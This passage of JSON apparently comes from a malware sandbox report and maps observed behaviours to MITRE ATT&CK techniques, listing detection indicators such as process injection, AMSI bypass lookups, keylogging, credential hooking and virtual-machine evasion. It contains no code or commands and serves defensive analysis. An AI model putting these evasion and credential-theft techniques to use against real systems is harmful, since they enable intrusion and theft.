Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains the ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to start a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Persistence","technique":"Transport Agent","attack_id":"T1505.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1505/002","identifiers":[{"type":"informative","value":"Able to establish persistence using Exchange transport agent (.NET)"},{"type":"informative","value":"Contains ability to use Microsoft Exchange transport agents [Dotnet Namespaces]"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"Contains reference to Windows Startup folder"},{"type":"informative","value":"Modifies user shell folders registry key"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Persistence","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to create a remote thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Windows system process connects to a network"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)"},{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"},{"type":"malicious","value":"Writes PE header to memory"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"PE file contains zero-size sections"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Contains ability to load manifest resource from assembly (Dotnet)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Contains ability to encrypt/decrypt data using TripleDES"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"YARA signature match – ROR algorithm"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"},{"type":"informative","value":"Dotnet code contains potential unpacker"},{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Can loads assembly that contains the code that is currently executing [Dotnet]"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to decode string content at runtime (Dotnet)"},{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"},{"type":"informative","value":"Contains ability to load content into memory (Dotnet)"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Able to detect if debugger is present"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"},{"type":"informative","value":"Contains ability to set file attributes (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"},{"type":"informative","value":"Contains the ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy sections"},{"type":"informative","value":"Dotnet file packed with confuser protection"},{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"informative","value":".rdata section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - High entropy file"},{"type":"informative","value":"YARA signature match - Medium entropy File"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"YARA signature match - PlugX malware custom PEB traversal"},{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"YARA signature match – PEB traversal"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"suspicious","value":"Tries to sleep for a long time (more than two minutes)"},{"type":"suspicious","value":"Possibly tries to evade analysis by sleeping many times"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to block user input (API string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Hooks key cryptographic functions of the CryptoAPI"},{"type":"informative","value":"Sets a windows hook"},{"type":"malicious","value":"Sets a computer-based training (CBT) hook"},{"type":"malicious","value":"Hooks file system APIs"},{"type":"malicious","value":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Found strings related to keylogger"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to collect clipboard information (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Found strings related to file managers"},{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Queries process information"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to gather process details (Dotnet)"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Calls an APIs used to retrieve process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Able to retrieve running process details (.NET)"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to gather system file/directory information (.NET)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to gather system information (Dotnet)"},{"type":"malicious","value":"Reads the system/video BIOS version"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to gather system environment details"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Contains ability to retrieve information about the current hardware profile (API string)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Able to obtain MAC address in .NET file"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to query the machine version"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve current user details (Dotnet)"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified 